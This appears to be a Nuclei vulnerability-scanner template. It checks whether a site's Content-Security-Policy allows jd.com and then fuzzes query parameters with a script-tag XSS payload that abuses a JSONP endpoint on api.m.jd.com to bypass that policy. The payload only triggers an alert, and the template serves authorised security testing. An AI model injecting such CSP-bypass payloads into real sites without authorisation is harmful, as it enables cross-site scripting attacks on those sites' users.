id: jd-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - JD API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,jd-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "jd.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: jd_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.m.jd.com/api?appid=x&functionId=x&jsonp=alert(document.domain)//"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "jd_api_csp_xss == true"
# digest: 4a0a00473045022037246aae4f2c3c3838e939c7c72b30529462a4c1009e791d23f85c8bdaed742a022100a92e15e6936af18a6dfcd715cf9c7ac467ad2978cfd224563f4eed9104c37cb4:922c64590222798bb761d5b6d8e72950